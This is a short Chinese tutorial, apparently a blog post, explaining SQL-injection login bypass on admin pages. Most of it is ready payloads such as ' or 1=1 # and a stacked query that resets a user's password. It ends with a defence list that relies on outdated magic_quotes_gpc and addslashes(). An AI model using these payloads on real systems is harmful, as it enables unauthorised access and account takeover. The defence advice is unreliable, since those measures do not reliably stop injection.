万能口令漏洞分析

后台登陆界面程序在验证帐号密码的时候,可能的sql语句如下:

1
2
3
4
5
a.select * from user where username='$username' and password='$password';
b.select username,password from user where username='$username';
   if(count() == 1)//如果查询到一行数据
      if(password == $password)
        登陆成功;

如果为语句a,可以尝试使用如下几种用户名登陆,而不需要输入正确的密码,输入任意字符的密码:

1
2
3
4
5
6
7
x' or 1=1 #'       select * from user where username='x' or 1=1 #'' and password='$password';
x' or 1=1 /*       select * from user where username='x' or 1=1 /*' and password='$password';
x' or 1=1 --       select * from user where username='x' or 1=1 --' and password='$password';
x' or '1'='1       select * from user where username='x' or '1'='1' and password='$password';
x' or userid=1 #'  select * from user where username='x' or userid=1 #'' and password='$password';
admin' or 1=1 --(空格)
x' or 1=1 or '1'='1 这种情况是考虑了逻辑运算符and和or的优先级问题。

userid需要猜对,可以使用id、uid等替换;

如果为语句b,可以先使用上面的方法,通过观察返回的提示,判断是否存在注入(提示密码输入错误,而不是用户名输入错误),然后可以尝试修改账户的密码:

1
x';update user set password='123456' where userid=1 #'

带入到语句b中:

1
select username,password from user where username='x';update user set password='123456' where userid=1 #'';

此种方法,需要猜对表名user、列名userid和password。
如果不成功,可能的情况是:
1.表名或者列名猜错;
2.密码数据库中存储的密码并不是明文,而是经过加密处理,尝试将修改的密码’123456’进行md5加密之后再执行一次。

防御方法:
1.加入防SQL注入的代码,或者部署WAF;
2.php.ini中配置’magic_quotes_gpc’为’on’;
3.使用addslashes()函数对输入的值进行过滤;